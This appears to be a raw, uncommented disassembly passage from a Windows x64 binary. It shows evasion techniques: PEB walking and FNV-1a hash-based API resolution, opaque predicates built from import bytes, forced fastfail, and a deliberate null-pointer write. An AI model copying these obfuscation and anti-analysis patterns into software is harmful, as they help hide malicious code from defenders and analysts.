movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14008ee86
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e3de
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x1402a1d75]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e33d
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008e33d
mov r9d, edi
jmp 0x14008e3b3
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e3af
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x14008e3b3
mov r9d, dword [rbp + 0x48]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14008e3de
call fcn.1400b8e8c
mov ecx, 0x9c
call qword [0x1402a1e90]
mov rdx, qword [0x1402a3e40]
test rdx, rdx
jne 0x14008e556
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008e45d
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008e450
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008e441
cmp edx, edi
jne 0x14008e537
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14008e537
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14008e537
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x14008e4b1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008e4a6
cmp edx, esi
je 0x14008e4c9
test r9d, r9d
jne 0x14008e491
xor r15d, r15d
jmp 0x14008e537
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x14008e5b5
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14008e5b5
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008e512
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008e504
inc rdx
xor r15d, r15d
jmp 0x14008e52e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008e520
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008e54c
cmp qword [rax + 0x30], r15
jne 0x14008e416
mov rdx, r15
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1402a3f90]
test rbx, rbx
jne 0x14008e6cf
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r12d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008e5d6
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008e5c9
xor r15d, r15d
jmp 0x14008e54f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008e5ba
cmp edx, edi
jne 0x14008e6b0
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008e6b0
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008e6b0
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008e62a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008e61f
cmp edx, esi
je 0x14008e642
test r11d, r11d
jne 0x14008e60a
xor r15d, r15d
jmp 0x14008e6b0
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov ebx, dword [rdx + r8*4]
add rbx, r9
cmp rbx, r10
jbe 0x14008e736
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14008e736
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008e68b
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14008e67d
inc rbx
xor r15d, r15d
jmp 0x14008e6a7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14008e699
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008e6c5
cmp qword [rax + 0x30], r15
jne 0x14008e58a
mov rbx, r15
mov qword [0x1402a3f90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x1402a3f88]
test rdx, rdx
jne 0x14008e850
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xb3002016
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008e757
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008e74a
xor r15d, r15d
jmp 0x14008e6c8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008e73b
cmp edx, edi
jne 0x14008e831
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008e831
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008e831
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008e7ab
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008e7a0
cmp edx, esi
je 0x14008e7c3
test r11d, r11d
jne 0x14008e78b
xor r15d, r15d
jmp 0x14008e831
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008e8ae
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008e8ae
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008e80c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008e7fe
inc rdx
xor r15d, r15d
jmp 0x14008e828
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008e81a
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008e846
cmp qword [rax + 0x30], r15
jne 0x14008e70b
mov rdx, r15
mov qword [0x1402a3f88], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f80]
test rdx, rdx
jne 0x14008e9c8
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x2fd4df39
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008e8cf
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008e8c2
xor r15d, r15d
jmp 0x14008e849
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008e8b3
cmp edx, edi
jne 0x14008e9a9
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008e9a9
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008e9a9
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008e923
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008e918
cmp edx, esi
je 0x14008e93b
test r11d, r11d
jne 0x14008e903
xor r15d, r15d
jmp 0x14008e9a9
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008ea26
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008ea26
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008e984
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008e976
inc rdx
xor r15d, r15d
jmp 0x14008e9a0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008e992
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008e9be
cmp qword [rax + 0x30], r15
jne 0x14008e883
mov rdx, r15
mov qword [0x1402a3f80], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f78]
test rdx, rdx
jne 0x14008eb40
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xe80fd3a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008ea47
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008ea3a
xor r15d, r15d
jmp 0x14008e9c1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008ea2b
cmp edx, edi
jne 0x14008eb21
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008eb21
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008eb21
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008ea9b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008ea90
cmp edx, esi
je 0x14008eab3
test r11d, r11d
jne 0x14008ea7b
xor r15d, r15d
jmp 0x14008eb21
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008eb9b
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008eb9b
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008eafc
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008eaee
inc rdx
xor r15d, r15d
jmp 0x14008eb18
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008eb0a
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008eb36
cmp qword [rax + 0x30], r15
jne 0x14008e9fb
mov rdx, r15
mov qword [0x1402a3f78], rdx
xor ecx, ecx
call rdx
cmp qword [0x1402a3f70], r15
jne 0x14008ecb7
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xa52bcaf9
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008ebbc
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008ebaf
xor r15d, r15d
jmp 0x14008eb39
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008eba0
cmp edx, edi
jne 0x14008ec98
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14008ec98
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14008ec98
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x14008ec10
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008ec05
cmp edx, esi
je 0x14008ec28
test r9d, r9d
jne 0x14008ebf0
xor r15d, r15d
jmp 0x14008ec98
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x14008edf4
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14008edf4
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008ec71
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14008ec63
inc r9
xor r15d, r15d
jmp 0x14008ec8e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14008ec80
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008ecad
cmp qword [rax + 0x30], r15
jne 0x14008eb70
mov r9, r15
mov qword [0x1402a3f70], r9
xor ecx, ecx
int 0x29
mov r9d, r15d
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea edi, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea esi, [rcx + rdx*4]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea r11d, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
mov r10d, dword [rbp + 0x48]
movsx ecx, al
lea ebx, [rcx + rdx*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008edfc
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008edfc
mov r10d, 4
jmp 0x14008ee4b
xor r15d, r15d
jmp 0x14008ecb0
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r11d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ee4b
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x14008ee7a
mov edx, 1
mov eax, edx
mov qword [rbp - 0x10], rdx
mov ecx, edx
mov qword [rbp + rcx*8 - 0x10], rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rcx, rax
mov qword [rbp - 0x10], rax
jne 0x14008ee5d
add r9d, edx
jmp 0x14008ed41
mov qword [0], 0x99
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fe43
mov rcx, qword [0x1402a1d80]
call fcn.1400ab1ac
xor al, 1
movzx eax, al
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ef8f
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008ef8f
mov r10d, 4
jmp 0x14008f025
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f021
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r10d, xmm0
jmp 0x14008f025
mov r10d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14008fe43
mov rdx, qword [0x1402a3e40]
test rdx, rdx
jne 0x14008f1c9
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14008f0e2
psrldq xmm0, 8
mov r8d, 0x811c9dc5
movzx ecx, cx
movq rdx, xmm0
shr rcx, 1
lea r9, [rdx + rcx*2]
jmp 0x14008f0d4
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14008f0c3
cmp r8d, edi
jne 0x14008f1ba
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x14008f1ba
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14008f1ba
mov r14d, dword [r11 + 0x20]
dec ebx
lea r8, [r14 + rbx*4]
mov r10d, dword [r8 + r9]
mov r8d, 0x811c9dc5
add r10, r9
jmp 0x14008f137
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x14008f12a
cmp r8d, esi
je 0x14008f14c
test ebx, ebx
jne 0x14008f115
jmp 0x14008f1ba
mov eax, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rax, r9
add rdx, r9
movzx r8d, word [rax + rbx*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r11
jbe 0x14008f1c2
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x14008f1c2
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008f18d
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008f17f
jmp 0x14008f1a0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008f195
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14008f097
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f3b2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x1402a1d75]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f2d1
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008f2d1
mov r9d, 4
jmp 0x14008f367
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008f363
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x14008f367
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14008f3b2
call fcn.1400b8e8c
mov ecx, 0x9c
call qword [0x1402a1e90]
mov rdx, qword [0x1402a3e40]
test rdx, rdx
jne 0x14008f52a
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rcx, qword [rax + 0x18]
